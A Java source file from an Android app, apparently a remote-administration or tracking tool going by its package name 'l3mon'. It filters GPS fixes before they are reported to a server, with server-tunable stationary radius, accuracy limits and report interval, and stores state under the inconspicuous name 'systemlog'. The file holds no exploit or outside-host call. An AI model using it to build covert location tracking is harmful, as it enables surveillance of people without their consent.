package com.etechd.l3mon;

import android.content.Context;
import android.content.SharedPreferences;
import android.location.Location;

/**
 * Filtra envíos GPS: respeta intervalo configurado, evita deriva en parada (~30 m).
 */
public final class GpsLocationFilter {
    private static final String PREFS = "systemlog_gps_filter";
    private static final String K_LAT = "last_lat";
    private static final String K_LNG = "last_lng";
    private static final String K_AT = "last_sent_at";
    private static final String K_ACC = "last_acc";
    private static final String K_LISTENER_AT = "last_listener_at";

    private static int stationaryRadiusM = 30;
    private static float minMoveSpeedMps = 0.5f;
    private static float maxAccuracyM = 100f;
    private static float accuracyCapM = 80f;
    private static int listenerMinSeconds = 10;
    private static int reportIntervalSeconds = 300;

    private static boolean hasLastSent = false;
    private static double lastSentLat;
    private static double lastSentLng;
    private static long lastSentAtMs;
    private static float lastSentAccuracy;
    private static long lastListenerReportAtMs;

    private GpsLocationFilter() {
    }

    public static void applyServerConfig(org.json.JSONObject gps) {
        if (gps == null) {
            return;
        }
        if (gps.has("stationary_radius_m")) {
            stationaryRadiusM = Math.max(10, gps.optInt("stationary_radius_m", 30));
        }
        if (gps.has("min_move_speed_mps")) {
            minMoveSpeedMps = (float) gps.optDouble("min_move_speed_mps", 0.5);
        }
        if (gps.has("max_accuracy_m")) {
            maxAccuracyM = (float) gps.optInt("max_accuracy_m", 100);
        }
        if (gps.has("stationary_accuracy_cap_m")) {
            accuracyCapM = (float) gps.optInt("stationary_accuracy_cap_m", 80);
        }
        if (gps.has("location_listener_min_s")) {
            listenerMinSeconds = Math.max(5, gps.optInt("location_listener_min_s", 10));
        }
    }

    public static void setReportIntervalSeconds(int seconds) {
        reportIntervalSeconds = Math.max(30, seconds);
    }

    public static void loadState(Context context) {
        if (context == null) {
            return;
        }
        SharedPreferences p = context.getApplicationContext().getSharedPreferences(PREFS, Context.MODE_PRIVATE);
        hasLastSent = p.getBoolean("has_last", false);
        if (!hasLastSent) {
            return;
        }
        lastSentLat = Double.longBitsToDouble(p.getLong(K_LAT, 0));
        lastSentLng = Double.longBitsToDouble(p.getLong(K_LNG, 0));
        lastSentAtMs = p.getLong(K_AT, 0);
        lastSentAccuracy = p.getFloat(K_ACC, 0f);
        lastListenerReportAtMs = p.getLong(K_LISTENER_AT, 0);
    }

    public static void markSent(Context context, Location loc) {
        if (loc == null) {
            return;
        }
        hasLastSent = true;
        lastSentLat = loc.getLatitude();
        lastSentLng = loc.getLongitude();
        lastSentAtMs = System.currentTimeMillis();
        lastSentAccuracy = loc.hasAccuracy() ? loc.getAccuracy() : 0f;
        if (context != null) {
            context.getApplicationContext()
                    .getSharedPreferences(PREFS, Context.MODE_PRIVATE)
                    .edit()
                    .putBoolean("has_last", true)
                    .putLong(K_LAT, Double.doubleToRawLongBits(lastSentLat))
                    .putLong(K_LNG, Double.doubleToRawLongBits(lastSentLng))
                    .putLong(K_AT, lastSentAtMs)
                    .putFloat(K_ACC, lastSentAccuracy)
                    .apply();
        }
    }

    public static void markListenerReport() {
        lastListenerReportAtMs = System.currentTimeMillis();
    }

    /** Tick programado: respeta intervalo y parada. */
    public static boolean shouldReportOnTick(Location loc) {
        return shouldReport(loc, true);
    }

    /** Callback del sistema: más restrictivo para no spamear cada 2 s. */
    public static boolean shouldReportOnListener(Location loc) {
        if (!shouldReport(loc, false)) {
            return false;
        }
        long now = System.currentTimeMillis();
        if (lastListenerReportAtMs > 0 && now - lastListenerReportAtMs < listenerMinSeconds * 1000L) {
            return false;
        }
        return true;
    }

    private static boolean shouldReport(Location loc, boolean enforceInterval) {
        if (loc == null) {
            return false;
        }
        if (!loc.hasAccuracy() || loc.getAccuracy() <= 0) {
            // sin accuracy, permitir con cautela
        } else if (loc.getAccuracy() > maxAccuracyM) {
            return false;
        }

        if (!hasLastSent) {
            return true;
        }

        double dist = distanceMeters(lastSentLat, lastSentLng, loc.getLatitude(), loc.getLongitude());
        float accA = lastSentAccuracy;
        float accB = loc.hasAccuracy() ? loc.getAccuracy() : 0f;
        double threshold = stationaryThreshold(accA, accB);

        boolean movingByDistance = dist >= threshold;
        boolean movingBySpeed = loc.hasSpeed() && loc.getSpeed() >= minMoveSpeedMps;

        if (!movingByDistance && !movingBySpeed) {
            return false;
        }

        // Al salir de parada (desplazamiento claro): ancla sin esperar el intervalo completo.
        if (enforceInterval && dist >= stationaryRadiusM * 2) {
            return true;
        }

        if (enforceInterval) {
            long elapsed = System.currentTimeMillis() - lastSentAtMs;
            if (elapsed < reportIntervalSeconds * 1000L) {
                return false;
            }
        }

        return true;
    }

    public static boolean isInStationaryZone(Location loc) {
        if (!hasLastSent || loc == null) {
            return false;
        }
        double dist = distanceMeters(lastSentLat, lastSentLng, loc.getLatitude(), loc.getLongitude());
        float accB = loc.hasAccuracy() ? loc.getAccuracy() : 0f;
        double threshold = stationaryThreshold(lastSentAccuracy, accB);
        boolean movingBySpeed = loc.hasSpeed() && loc.getSpeed() >= minMoveSpeedMps;
        return dist < threshold && !movingBySpeed;
    }

    private static double stationaryThreshold(float accA, float accB) {
        double dynamic = 0;
        if (accA > 0 || accB > 0) {
            dynamic = Math.min(accuracyCapM, accA + accB);
        }
        return Math.max(stationaryRadiusM, dynamic);
    }

    private static double distanceMeters(double lat1, double lon1, double lat2, double lon2) {
        double r = 6371000;
        double dLat = Math.toRadians(lat2 - lat1);
        double dLon = Math.toRadians(lon2 - lon1);
        double a = Math.sin(dLat / 2) * Math.sin(dLat / 2)
                + Math.cos(Math.toRadians(lat1)) * Math.cos(Math.toRadians(lat2))
                * Math.sin(dLon / 2) * Math.sin(dLon / 2);
        return 2 * r * Math.asin(Math.min(1, Math.sqrt(a)));
    }
}
